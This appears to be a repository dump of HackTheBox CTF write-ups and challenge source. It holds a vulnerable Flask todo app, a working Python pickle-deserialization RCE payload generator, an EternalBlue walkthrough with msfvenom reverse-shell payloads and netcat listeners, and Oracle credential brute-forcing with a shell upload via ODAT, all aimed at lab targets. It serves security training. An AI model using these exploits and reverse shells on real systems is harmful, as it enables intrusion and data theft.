https://raw.githubusercontent.com/darshannn10/HackTheBox/4fc467fd893cc4ac71de8e0e991d71d67efb99a1/Tracks/OWASP Top 10/6. baby todo or not todo/baby todo or not todo/challenge/application/static/checklist.png -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/6. baby todo or not todo/baby todo or not todo/challenge/application/static/css/main.css: -------------------------------------------------------------------------------- 1 | @import url('https://fonts.googleapis.com/css?family=Press+Start+2P&display=swap'); 2 | 3 | html { 4 | font-family: 'Press Start 2P', cursive; 5 | -webkit-font-smoothing: none; 6 | } 7 | 8 | body { 9 | background: #2F2349; 10 | padding: 20px; 11 | } 12 | 13 | #app { 14 | background: #fff; 15 | border-radius: 10px; 16 | box-shadow: 8px 8px 20px #666; 17 | padding: 20px; 18 | transition: all 0.2s; 19 | } 20 | 21 | h1 { 22 | color: #39B54A; 23 | } 24 | 25 | li { 26 | margin: 8px 0; 27 | } 28 | 29 | .padding { 30 | padding: 1px 7px 2px; 31 | } 32 | 33 | .flex { 34 | display: flex; 35 | } 36 | 37 | .space { 38 | flex-grow: 1; 39 | } -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/6. baby todo or not todo/baby todo or not todo/challenge/application/static/js/main.js: -------------------------------------------------------------------------------- 1 | const createNode = elem => { 2 | return document.createElement(elem) 3 | } 4 | 5 | const appendNode = (parent, elem) => { 6 | parent.appendChild(elem) 7 | } 8 | 9 | let alert = document.getElementById('alerts') 10 | let secret = document.getElementById('data-secret').value 11 | 12 | const flash = (category, message) => { 13 | let div = createNode('div'), 14 | strong = createNode('strong'), 15 | button = createNode('button'), 16 | span = createNode('span') 17 | 18 | div.className = `alert alert-${category} alert-dismissible fade show` 19 | div.setAttribute('role', 'alert') 20 | 21 | strong.innerHTML = message 22 | 23 | button.className = 'close' 24 | button.setAttribute('type', 'button') 25 | button.setAttribute('data-dismiss', 'alert') 26 | button.setAttribute('aria-label', 'Close') 27 | 28 | button.onclick = () => { 29 | div.style.opacity = 0 30 | setTimeout(() => { 31 | div.remove() 32 | }, 300) 33 | } 34 | 35 | span.setAttribute('aria-hidden', 'true') 36 | span.innerHTML = '×' 37 | 38 | appendNode(div, strong) 39 | appendNode(button, span) 40 | appendNode(div, button) 41 | appendNode(alert, div) 42 | 43 | setTimeout(() => { 44 | button.click() 45 | }, 2800) 46 | } 47 | 48 | const ul = document.querySelector('#tasks') 49 | const form = document.getElementById('add') 50 | 51 | const toJSONString = elem => { 52 | return JSON.stringify({ 53 | name: elem.value, 54 | secret: secret 55 | }) 56 | } 57 | 58 | const add = task => { 59 | return fetch('/api/add/', { 60 | method: 'POST', 61 | body: task, 62 | headers: { 63 | 'Content-Type': 'application/json', 64 | } 65 | }) 66 | } 67 | 68 | const complete = task => fetch(`/api/complete/${task.id}/?secret=${secret}`, {method: 'GET'}) 69 | 70 | const delet = task => fetch(`/api/delete/${task.id}/?secret=${secret}`, {method: 'DELETE'}) 71 | 72 | const create_list = task => { 73 | let li = createNode('li'), 74 | span = createNode('span'), 75 | div = createNode('div'), 76 | com = createNode('button'), 77 | del = createNode('button'), 78 | error = '[+] Oops, something went wrong!' 79 | 80 | li.className = 'flex' 81 | span.innerHTML = task.name 82 | div.className = 'space' 83 | 84 | if (task.done) { 85 | com.className = 'nes-btn is-disabled' 86 | com.innerHTML = 'Completed' 87 | } else { 88 | com.className = 'nes-btn is-success' 89 | com.innerHTML = 'Complete' 90 | } 91 | 92 | com.onclick = () => { 93 | if (task.done) return 94 | complete(task).then(res => { 95 | update() 96 | if (res.ok) { 97 | flash('success', `[*] Successfuly completed ${task.id}`) 98 | com.className = 'nes-btn is-disabled' 99 | com.innerHTML = 'Completed' 100 | update() 101 | } else { 102 | flash('danger', error) 103 | } 104 | }) 105 | } 106 | 107 | del.className = 'nes-btn is-error' 108 | del.innerHTML = 'Delete' 109 | 110 | del.onclick = () => { 111 | delet(task).then(res => { 112 | update() 113 | if (res.ok) { 114 | flash('success', `[*] Successfuly deleted ${task.id}`) 115 | } else { 116 | flash('danger', error) 117 | } 118 | }) 119 | } 120 | appendNode(li, span) 121 | appendNode(li, div) 122 | appendNode(li, com) 123 | appendNode(li, del) 124 | appendNode(ul, li) 125 | } 126 | 127 | const getTasks = endpoint => { 128 | fetch(`/api/list/${endpoint}/?secret=${secret}`).then(res => { 129 | if (res.ok) { 130 | res.json().then(data => { 131 | ul.innerHTML = '' 132 | data.map(task => { 133 | create_list(task) 134 | }) 135 | }) 136 | } else { 137 | window.location.reload(true) 138 | } 139 | }) 140 | } 141 | 142 | form.addEventListener('submit', e => { 143 | e.preventDefault() 144 | let task = document.querySelector('input[type=text]') 145 | add(toJSONString(task)).then(res => { 146 | document.getElementById('add-task').value = '' 147 | update() 148 | if (res.ok) { 149 | flash('success', `[*] Successfuly added ${task.value}`) 150 | } else { 151 | flash('danger', '[+] Server refused to process your todo task') 152 | } 153 | }) 154 | }) -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/6. baby todo or not todo/baby todo or not todo/challenge/application/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | todo or not todo 6 | 7 | 8 | 9 | 10 | 11 |
12 |
13 |

🥳 🔫 ✌️ 🌈 TODO OR NOT TODO 🌈 ✌️ 🔫 🥳

14 |
15 | 16 | 17 |
18 |   19 |
    20 |
    21 | 22 | 28 | 29 | -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/6. baby todo or not todo/baby todo or not todo/challenge/application/util.py: -------------------------------------------------------------------------------- 1 | from flask import session, request, abort, g 2 | import string, functools, random, re 3 | from application.models import todo 4 | 5 | generate = lambda x: ''.join([random.choice(string.hexdigits) for _ in range(x)]) 6 | 7 | def verify_integrity(func): 8 | def check_secret(secret, name): 9 | if secret != todo.get_secret_from(name): 10 | return abort(403) 11 | 12 | @functools.wraps(func) 13 | def check_integrity(*args, **kwargs): 14 | g.secret = request.args.get('secret', '') or request.form.get('secret', '') 15 | 16 | if request.view_args: 17 | list_access = request.view_args.get('assignee', '') 18 | 19 | if list_access and list_access != g.user: 20 | return abort(403) 21 | 22 | todo_id = request.view_args.get('todo_id', '') 23 | if todo_id: 24 | g.selected = todo.get_by_id(todo_id) 25 | 26 | if g.selected: 27 | if dict(g.selected).get('assignee') == g.user: 28 | check_secret(g.secret, g.user) 29 | return func(*args, **kwargs) 30 | 31 | return abort(403) 32 | 33 | return abort(404) 34 | 35 | if request.is_json: 36 | g.task = request.get_json() 37 | g.name = g.task.get('name', '') 38 | 39 | if g.name and len(g.name) <= 100 and not re.search('script|meta|link|src|on[a-z]', g.name, re.IGNORECASE): 40 | g.name = g.name.replace('<', '<').replace('>', '>') 41 | check_secret(g.task.get('secret', ''), g.user) 42 | return func(*args, **kwargs) 43 | 44 | return abort(400) 45 | 46 | check_secret(g.secret, g.user) 47 | 48 | return func(*args, **kwargs) 49 | return check_integrity -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/6. baby todo or not todo/baby todo or not todo/challenge/run.py: -------------------------------------------------------------------------------- 1 | from application.app import app 2 | 3 | app.run(host='0.0.0.0', port=1337) -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/6. baby todo or not todo/baby todo or not todo/config/supervisord.conf: -------------------------------------------------------------------------------- 1 | [supervisord] 2 | user=root 3 | nodaemon=true 4 | logfile=/dev/null 5 | logfile_maxbytes=0 6 | pidfile=/run/supervisord.pid 7 | 8 | [program:flask] 9 | command=python -B /app/run.py 10 | stdout_logfile=/dev/stdout 11 | stdout_logfile_maxbytes=0 12 | stderr_logfile=/dev/stderr 13 | stderr_logfile_maxbytes=0 -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/7. baby BoneChewerCon/Readme.md: -------------------------------------------------------------------------------- 1 | # Challenge Description 2 | Due to heavy workload for the upcoming baby BoneChewerCon event, the website is under maintenance and it errors out, but the debugger is still enabled in production!! I think the devil is enticing us to go and check out the secret key. 3 | 4 | ## Analysis 5 | We are given an URL. This leads us to a website calling for the registration to its upcoming event. We see we have a few graphics and most noteably and input field. So naturally we want to go ahead and try to XSS this. 6 | After trying multiple XSS payloads, nothing happens and i'm pretty much sure that this site is not vulnerable to XSS. 7 | 8 | ![bon-1](https://user-images.githubusercontent.com/87711310/211152793-df7c13fa-5d2a-4562-9ad9-eee884a491f6.png) 9 | 10 | After this, I just a random word `test` in the input field to see what happens and we see a misconfiguration error. 11 | 12 | ![bon-2](https://user-images.githubusercontent.com/87711310/211152796-489f6fca-dd2d-4487-a43a-cb43ce8782af.png) 13 | 14 | Scrolling a lil' bit reveals the flag 15 | 16 | ![baby-bonechewercon-1](https://user-images.githubusercontent.com/87711310/211152799-15431b95-9f84-440f-8029-8a0e23821fc7.png) 17 | -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/8. Full Stack Conf/Readme.md: -------------------------------------------------------------------------------- 1 | # Challenge Description 2 | Welcome to Full Stack Conf, explore the future of JavaScript with a lineup of industry professionals and discover new techniques to advance your career as a web developer. But be very careful with the stay up to date form, we don't sanitize anything and the admin logs in and checks the emails regularly, don't try anything funny!! 😅 3 | 4 | # Analysis 5 | Visiting the web-page and scrolling down to the bottom of the page shows the following: 6 | 7 | ![full-conf](https://user-images.githubusercontent.com/87711310/211153135-a089d130-f8ee-4f7c-a385-6dcfadc6a6a6.png) 8 | 9 | Enter in something like the below, and reload the page to get the flag. 10 | ```javascript 11 | 12 | ``` 13 | 14 | ![full-stack-conf-1](https://user-images.githubusercontent.com/87711310/211153137-9ef4d6c7-cf36-4e39-a1d9-1a0c2b539bc5.png) 15 | -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/9. baby website rick/Readme.md: -------------------------------------------------------------------------------- 1 | # Challenge Description 2 | Look Morty, look! I turned myself into a website Morty, I'm Website Rick babyyy!! But don't play around with some of them anti pickle serum I have stored somewhere safe, if I turn back to a human I'll have to go to family therapy and we don't want that Morty. 3 | 4 | ## Analysis 5 | 6 | ![rick-0](https://user-images.githubusercontent.com/87711310/211153526-90e16ea2-0d67-4b45-83eb-932febc43443.png) 7 | 8 | All the references to `pickles` implies it's an `insecure deserialization` challenge. `pickle` is a serialization format used in python. 9 | 10 | If we check the cookies, we get the following: 11 | ``` 12 | plan_b=KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu 13 | ``` 14 | 15 | Our guess is that this is a pickled python object, and decoding the base64 seems to imply that to us too: 16 | ``` 17 | $ echo 'KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu' | base64 -d 18 | (dp0 19 | S'serum' 20 | p1 21 | ccopy_reg 22 | _reconstructor 23 | p2 24 | (c__main__ 25 | anti_pickle_serum 26 | p3 27 | c__builtin__ 28 | object 29 | p4 30 | Ntp5 31 | Rp6 32 | s. 33 | ``` 34 | 35 | ## Unpickling 36 | Let's immediately try to unpickle the data, which should give us a feel for how data is parsed: 37 | ```python 38 | from base64 import b64decode 39 | 40 | import pickle 41 | 42 | code = b'KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu' 43 | 44 | serum = pickle.loads(b64decode(code)) 45 | print(serum) 46 | 47 | ``` 48 | $ python3 deserialize.py 49 | Traceback (most recent call last): 50 | File "deserialize.py", line 7, in 51 | serum = pickle.loads(b64decode(code)) 52 | AttributeError: Can't get attribute 'anti_pickle_serum' on 53 | ``` 54 | 55 | The error is quite clear - there's no anti_pickle_serum variable. Let's add one in and try again. 56 | ``` 57 | code = b'KGRwMApT[...]' 58 | anti_pickle_serum = 'test' 59 | ``` 60 | 61 | That error is fixed, but there's another one: 62 | ```python 63 | $ python3 deserialize.py 64 | Traceback (most recent call last): 65 | File "deserialize.py", line 8, in 66 | serum = pickle.loads(b64decode(code)) 67 | File "/usr/lib/python3.8/copyreg.py", line 43, in _reconstructor 68 | obj = object.__new__(cls) 69 | TypeError: object.__new__(X): X is not a type object (str) 70 | ``` 71 | 72 | Here it's throwing an error because X (`anti_pickle_serum`) __is not a type object__ - so let's make it a class extending from `object`. 73 | ```python 74 | # [imports] 75 | class anti_pickle_serum(object): 76 | def __init__(self): 77 | pass 78 | # [...] 79 | ``` 80 | 81 | And now there's no error, and we get a response. 82 | ``` 83 | $ python3 deserialize.py 84 | {'serum': <__main__.anti_pickle_serum object at 0x7f9e1a1b1c40>} 85 | ``` 86 | 87 | So the cookie is the pickled form of a dictionary with the key serum and the value of an `anti_pickle_serum` class. 88 | 89 | # Exploitation 90 | For an introduction to pickle exploitation, I highly recommend [this blog post](https://davidhamann.de/2020/04/05/exploiting-python-pickle/). Essentially, the `__reduce__` dunder method tells pickle how to deserialize, and to do so it takes a function and a list of parameters. We can set the function to `os.system` and the parameters to the code to execute! 91 | ```python 92 | from base64 import b64encode 93 | 94 | import pickle 95 | import os 96 | 97 | class anti_pickle_serum(object): 98 | def __reduce__(self): # function called by the pickler 99 | return os.system, (['whoami'],) 100 | 101 | code = pickle.dumps({'serum': anti_pickle_serum()}) 102 | code = b64encode(code) 103 | print(code) 104 | ``` 105 | 106 | Here we create the malicious class, then serialize it as part of the dictionary as we saw before. 107 | 108 | ``` 109 | $ python3 final.py 110 | b'gASVLAAAAAAAAAB9lIwFc2VydW2UjAVwb3NpeJSMBnN5c3RlbZSTlIwGd2hvYW1plIWUUpRzLg==' 111 | ``` 112 | 113 | Huh, that looks nothing like the original cookie value (which starts with KGRwMApTJ3)... maybe we missed something with the dumps? 114 | 115 | Checking out the [dumps()](https://docs.python.org/3/library/pickle.html#pickle.dumps) documentation, there is a protocol parameter! If we [read a bit deeper](https://docs.python.org/3/library/pickle.html#data-stream-format), this can take a value from 0 to 5. If we play around, protocol=0 looks similar to the original cookie: 116 | 117 | ```python 118 | code = pickle.dumps({'serum': anti_pickle_serum()}, protocol=0) 119 | ``` 120 | 121 | ``` 122 | $ python3 final.py 123 | b'KGRwMApWc2VydW0KcDEKY3Bvc2l4CnN5c3RlbQpwMgooVndob2FtaQpwMwp0cDQKUnA1CnMu' 124 | ``` 125 | 126 | Let's change the cookie to this (without the b''): 127 | 128 | ![rick-1](https://user-images.githubusercontent.com/87711310/211153521-bb4b68f6-2226-4bcd-9a7a-87a88a147331.png) 129 | 130 | As you can see now, the value 0 was returned. This is the return value of os.system! Now we simply need to find a function that returns the result, and we'll use `subprocess.check_output` for that. 131 | 132 | ``` 133 | return subprocess.check_output, (['ls'],) 134 | ``` 135 | 136 | Now run it 137 | ``` 138 | $ python final.py 139 | KGRwMApTJ3NlcnVtJwpwMQpjc3VicHJvY2VzcwpjaGVja19vdXRwdXQKcDIKKChscDMKUydscycKcDQKYXRwNQpScDYKcy4= 140 | ``` 141 | 142 | ![rick-2](https://user-images.githubusercontent.com/87711310/211153524-b16ad799-1eaa-4a8e-8911-07a95eab63f6.png) 143 | 144 | As can now see that there is a `flag_wIp1b` file, so we can just read it! 145 | While it's tempting to do 146 | ``` 147 | return subprocess.check_output, (['cat flag_wIp1b'],) 148 | ``` 149 | 150 | `subprocess.check_output` requires a __list__ of parameters (as we see here) and the filename is a separate item in the list, like so: 151 | ``` 152 | return subprocess.check_output, (['cat', 'flag_wIp1b'],) 153 | ``` 154 | 155 | ``` 156 | $ python final.py 157 | KGRwMApTJ3NlcnVtJwpwMQpjc3VicHJvY2VzcwpjaGVja19vdXRwdXQKcDIKKChscDMKUydjYXQnCnA0CmFTJ2ZsYWdfd0lwMWInCnA1CmF0cDYKUnA3CnMu 158 | ``` 159 | 160 | And boom - we get the flag! 161 | 162 | ![rick-3](https://user-images.githubusercontent.com/87711310/211153525-944cf633-29f5-4724-803b-ac03a4fba1b5.png) 163 | -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/Readme.md: -------------------------------------------------------------------------------- 1 | # Outline 2 | 3 | | Tables | Description | 4 | | ------ | ----------- | 5 | | Track | Owasp Top 10 | 6 | | Difficulty | Easy | 7 | | No. of boxes | 10 | 8 | 9 | ## ABOUT TRACK 10 | 11 | Get hands-on experience in exploiting the most critical security risks to web applications. 12 | -------------------------------------------------------------------------------- /Tracks/Readme.md: -------------------------------------------------------------------------------- 1 | Walkthrough of tracks 2 | -------------------------------------------------------------------------------- /Windows Boxes/2. Blue/Readme.md: -------------------------------------------------------------------------------- 1 | Hack The Box - Blue Walkthrough without Metasploit 2 | 3 | # Reconnaissance 4 | First we start by running nmap against the target 5 | ``` 6 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Beginner-Path/Blue] 7 | └─$ sudo nmap -sC -sV -O -oA nmap-inital 10.10.10.40 8 | [sudo] password for darshan: 9 | Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-08 04:54 EST 10 | Nmap scan report for 10.10.10.40 11 | Host is up (0.18s latency). 12 | Not shown: 991 closed tcp ports (reset) 13 | PORT STATE SERVICE VERSION 14 | 135/tcp open msrpc Microsoft Windows RPC 15 | 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 16 | 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 17 | 49152/tcp open msrpc Microsoft Windows RPC 18 | 49153/tcp open msrpc Microsoft Windows RPC 19 | 49154/tcp open msrpc Microsoft Windows RPC 20 | 49155/tcp open msrpc Microsoft Windows RPC 21 | 49156/tcp open msrpc Microsoft Windows RPC 22 | 49157/tcp open msrpc Microsoft Windows RPC 23 | Device type: general purpose 24 | Running: Microsoft Windows 2008 25 | OS CPE: cpe:/o:microsoft:windows_server_2008::sp1 26 | OS details: Microsoft Windows Server 2008 SP1 27 | Network Distance: 2 hops 28 | Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows 29 | 30 | Host script results: 31 | | smb2-time: 32 | | date: 2023-01-08T09:56:09 33 | |_ start_date: 2023-01-08T09:39:46 34 | | smb-security-mode: 35 | | account_used: guest 36 | | authentication_level: user 37 | | challenge_response: supported 38 | |_ message_signing: disabled (dangerous, but default) 39 | | smb2-security-mode: 40 | | 2.1: 41 | |_ Message signing enabled but not required 42 | | smb-os-discovery: 43 | | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) 44 | | OS CPE: cpe:/o:microsoft:windows_7::sp1:professional 45 | | Computer name: haris-PC 46 | | NetBIOS computer name: HARIS-PC\x00 47 | | Workgroup: WORKGROUP\x00 48 | |_ System time: 2023-01-08T09:56:08+00:00 49 | |_clock-skew: mean: 3s, deviation: 1s, median: 2s 50 | 51 | OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 52 | Nmap done: 1 IP address (1 host up) scanned in 87.66 seconds 53 | 54 | ``` 55 | 56 | We get back the following result showing that nine ports are open: 57 | - Port `139`: running Microsoft Windows `netbiois-ssn` 58 | - Port `445`: running `microsoft-ds` 59 | - Ports `135`, `49152`, `49153`, `49154`, `49155`, `49156` & `49157`: running `msrpc` 60 | 61 | Before we start investigating these ports, let’s run more comprehensive nmap scans in the background to make sure we cover all bases. 62 | 63 | Let’s run an nmap scan that covers all ports. 64 | 65 | ``` 66 | sudo nmap -sC -sV -O -p- -oA nmap-full 10.10.10.40 67 | ``` 68 | We get back the following result. No other ports are open. 69 | 70 | Similarly, we run an nmap scan with the `-sU` flag enabled to run a UDP scan (for top 1000 ports). 71 | 72 | ``` 73 | sudo nmap -sU -O -p- -oA udp 10.10.10.40 74 | ``` 75 | 76 | ## Enumeration 77 | As usual, we’ll run the general nmap `vulnerability scan scripts` to determine if any of the services are vulnerable. 78 | 79 | ``` 80 | sudo nmap --script vuln -oA vuln 10.10.10.40 81 | ``` 82 | 83 | The box is vulnerable to `EternalBlue`! And guess what the `EternalBlue exploit` does? It gives us system access, so this box won’t be too difficult to solve. If you’re not familiar with `EternalBlue`, it exploits Microsoft’s implementation of the `Server Message Block` (SMB) protocol, where if an attacker sent a specially crafted packet, the attacker would be allowed to `execute arbitrary code` on the target machine. 84 | 85 | ## Exploitation 86 | 87 | Search for a non Metasploit exploit in the Exploit Database. 88 | 89 | ``` 90 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Beginner-Path/Blue] 91 | └─$ searchsploit --id MS17-010 92 | -------------------------------------------------------------------------------------------------------------------------- --------------------------------- 93 | Exploit Title | EDB-ID 94 | -------------------------------------------------------------------------------------------------------------------------- --------------------------------- 95 | Microsoft Windows - 'EternalRomance'/'EternalSynergy'/'EternalChampion' SMB Remote Code Execution (Metasploit) (MS17-010) | 43970 96 | Microsoft Windows - SMB Remote Code Execution Scanner (MS17-010) (Metasploit) | 41891 97 | Microsoft Windows 7/2008 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010) | 42031 98 | Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010) | 42315 99 | Microsoft Windows 8/8.1/2012 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010) | 42030 100 | Microsoft Windows Server 2008 R2 (x64) - 'SrvOs2FeaToNt' SMB Remote Code Execution (MS17-010) | 41987 101 | -------------------------------------------------------------------------------------------------------------------------- --------------------------------- 102 | Shellcodes: No Results 103 | 104 | ``` 105 | 106 | We’re working with Windows 7 so we’ll use exploit # 42315. Clone the exploit into the working directory. 107 | 108 | ``` 109 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Beginner-Path/Blue] 110 | └─$ searchsploit -m 42315 111 | 112 | Exploit: Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010) 113 | URL: https://www.exploit-db.com/exploits/42315 114 | Path: /usr/share/exploitdb/exploits/windows/remote/42315.py 115 | File Type: Python script, ASCII text executable 116 | 117 | Copied to: /home/kali/Desktop/HackTheBox/Beginner-Path/Blue/42315.py 118 | ``` 119 | Rename the copied file to `mysmb.py` for convinience 120 | 121 | After looking at the `source code`, we need to do three things: 122 | 123 | ``` 124 | 1. Download mysmb.py since the exploit imports it. The download location is included in the exploit. 125 | 2. Use MSFvenom to create a reverse shell payload (allowed on the OSCP as long as you’re not using meterpreter). 126 | 3. Make changes in the exploit to add the authentication credentials and the reverse shell payload. 127 | ``` 128 | 129 | Using `MSFvenom` to generate a simple executable with a reverse shell payload. 130 | 131 | ``` 132 | msfvenom -p windows/shell_reverse_tcp -f exe LHOST= LPORT=4444 > eternal-blue.exe 133 | ``` 134 | 135 | Then, we need change the exploit to add credentials. In our case we don’t have valid credentials, however, let’s check to see if guest login is allowed 136 | 137 | If you run `enum4linux`, you can see that no login credential is reuired. 138 | 139 | ``` 140 | enum4linux -a 10.10.10.40 141 | ``` 142 | 143 | ![blue-1](https://user-images.githubusercontent.com/87711310/211190472-64299661-bae4-4d88-8a76-a587525d0884.png) 144 | 145 | Similarly, we’ll add the reverse shell executable location and get the script to execute it. 146 | 147 | ![blue-2](https://user-images.githubusercontent.com/87711310/211190648-8f9b27de-44fc-45bc-9710-23b3c179a4cd.png) 148 | 149 | 150 | Now that we’re done all three tasks, setup a listener on your attack machine. 151 | ``` 152 | nc -nlvp 4444 153 | ``` 154 | Then run the exploit. 155 | 156 | ``` 157 | python 42315.py 10.10.10.40 158 | ``` 159 | 160 | ``` 161 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Beginner-Path/Blue] 162 | └─$ nc -lvnp 4444 163 | listening on [any] 4444 ... 164 | connect to [10.10.14.4] from (UNKNOWN) [10.10.10.40] 49158 165 | Microsoft Windows [Version 6.1.7601] 166 | Copyright (c) 2009 Microsoft Corporation. All rights reserved. 167 | 168 | C:\Windows\system32>whoami 169 | whoami 170 | nt authority\system 171 | ``` 172 | 173 | Grabbing the user flag. 174 | ``` 175 | C:\Windows\system32>type C:\Users\haris\Desktop\user.txt 176 | type C:\Users\haris\Desktop\user.txt 177 | [REDACTED] 178 | ``` 179 | 180 | Grabbing the root flag. 181 | ``` 182 | C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt 183 | type C:\Users\Administrator\Desktop\root.txt 184 | [REDACTED] 185 | ``` 186 | 187 | -------------------------------------------------------------------------------- /Windows Boxes/9. Silo/Alternative-solution.md: -------------------------------------------------------------------------------- 1 | This method involves using `ODAT` tool to completely exploit the machine and directly getting the `root` shell. 2 | 3 | Firstly, to exploit an Oracle database, you need to identify its `Oracle System ID (SID)` string. This is a string that is used to uniquely identify a particular database on a system. This can be done using the `sidguesser` module in ODAT. 4 | 5 | ``` 6 | python3 odat.py sidguesser -s 10.10.10.82 -p 1521 7 | 8 | OR 9 | 10 | python3 odat sidguesser -s 10.10.10.82 -p 1521 11 | ``` 12 | 13 | We find 4 SIDs, and we use the `XE` to enumerate the machine further. 14 | 15 | ``` 16 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Windows-boxes] 17 | └─$ odat sidguesser -s 10.10.10.82 -p 1521 18 | 19 | [1] (10.10.10.82:1521): Searching valid SIDs 20 | [1.1] Searching valid SIDs thanks to a well known SID list on the 10.10.10.82:1521 server 21 | [+] 'XE' is a valid SID. Continue... ################################################################# | ETA: 00:00:05 22 | 100% |#####################################################################################################################################| Time: 00:10:33 23 | [1.2] Searching valid SIDs thanks to a brute-force attack on 1 chars now (10.10.10.82:1521) 24 | 100% |#####################################################################################################################################| Time: 00:00:29 25 | [1.3] Searching valid SIDs thanks to a brute-force attack on 2 chars now (10.10.10.82:1521) 26 | [+] 'MK' is a valid SID. Continue... | ETA: 00:05:15 27 | [+] 'XE' is a valid SID. Continue... #################################################### | ETA: 00:01:13 28 | 100% |#####################################################################################################################################| Time: 00:10:57 29 | [+] SIDs found on the 10.10.10.82:1521 server: XE,MK 30 | ``` 31 | 32 | Now, the second thing to do is enumerate valid credentials. This can be done using the passwordguesser module in ODAT. I tried both account files that come with the ODAT installation, however, the tool didn’t find any valid credentials. So instead, let’s locate the credential list that the Metasploit framework uses. 33 | 34 | ``` 35 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Windows-boxes/Silo] 36 | └─$ locate oracle_default_userpass.txt 37 | /usr/share/metasploit-framework/data/wordlists/oracle_default_userpass.txt 38 | ``` 39 | 40 | Copying the `oracle_default_userpass.txt` to odat's `/account` directory 41 | 42 | ``` 43 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Windows-boxes/Silo] 44 | └─$ sudo cp /usr/share/metasploit-framework/data/wordlists/oracle_default_userpass.txt /opt/odat/accounts/ 45 | ``` 46 | 47 | The username and passwords in this list are separated by a space instead of a forward slash (/). We’ll have to change it to forward slash so that the ODAT tool is able to parse the file. This can be done in vi using the following command. 48 | 49 | ``` 50 | :%s/ /\//g 51 | ``` 52 | 53 | Now that we have a proper list, we can use the `passwordguesser` module to brute force credentials. 54 | 55 | ``` 56 | odat passwordguesser -s 10.10.10.82 -p 1521 -d XE --accounts-file accounts/oracle_default_userpass.txt 57 | ``` 58 | 59 | This takes a while but it ends up finding credentials! 60 | 61 | ``` 62 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Windows-boxes/Silo] 63 | └─$ odat passwordguesser -s 10.10.10.82 -p 1521 -d XE --accounts-file /opt/odat/accounts/oracle_default_userpass.txt 64 | 65 | [1] (10.10.10.82:1521): Searching valid accounts on the 10.10.10.82 server, port 1521 66 | 09:26:33 WARNING -: The line 'jl/jl/\n' is not loaded in credentials list: ['jl', 'jl', ''] 67 | 09:26:33 WARNING -: The line 'ose$http$admin/invalid/password\n' is not loaded in credentials list: ['ose$http$admin', 'invalid', 'password'] 68 | The login brio_admin has already been tested at least once. What do you want to do: | ETA: --:--:-- 69 | - stop (s/S) 70 | - continue and ask every time (a/A) 71 | - skip and continue to ask (p/P) 72 | - continue without to ask (c/C) 73 | c 74 | [+] Valid credentials found: scott/tiger. 75 | ``` 76 | 77 | Now that we have a valid SID and username/password, let’s see if we can get code execution on the box. 78 | 79 | ODAT has a utlfile module that allows you to upload, download or delete a file. Since we are trying to get code execution on the box, let’s upload a malicious executable that sends a reverse shell back to our attack machine. 80 | 81 | First, generate the executable using msfvenom. 82 | 83 | ``` 84 | msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.3 LPORT=1234 -f exe > shell.exe 85 | ``` 86 | 87 | Next, upload the file using the utlfile module. 88 | 89 | ``` 90 | odat utlfile -s 10.10.10.82 -p 1521 -U "scott" -P "tiger" -d XE --putFile /temp shell.exe ../../htb/silo/shell.exe 91 | ``` 92 | 93 | I got an unexpected error. 94 | ``` 95 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Windows-boxes] 96 | └─$ odat utlfile -s 10.10.10.82 -p 1521 -U "scott" -P "tiger" -d XE --putFile /temp shell.exe ../../htb/silo/shell.exe 97 | 98 | [1] (10.10.10.82:1521): Put the ../../htb/silo/shell.exe local file in the /temp folder like shell.exe on the 10.10.10.82 server 99 | [-] Impossible to put the ../../htb/silo/shell.exe file: `ORA-01031: insufficient privileges` 100 | 101 | ``` 102 | 103 | We don’t have sufficient privileges to upload a file. Let’s see if the user was given sysdba privileges by adding the `sysdba` flag to our command. 104 | 105 | ``` 106 | python3 odat.py utlfile -s 10.10.10.82 -p 1521 -U "scott" -P "tiger" -d XE --putFile /temp shell.exe ../../htb/silo/shell.exe --sysdba 107 | ``` 108 | 109 | Now we need to execute the file. We can do 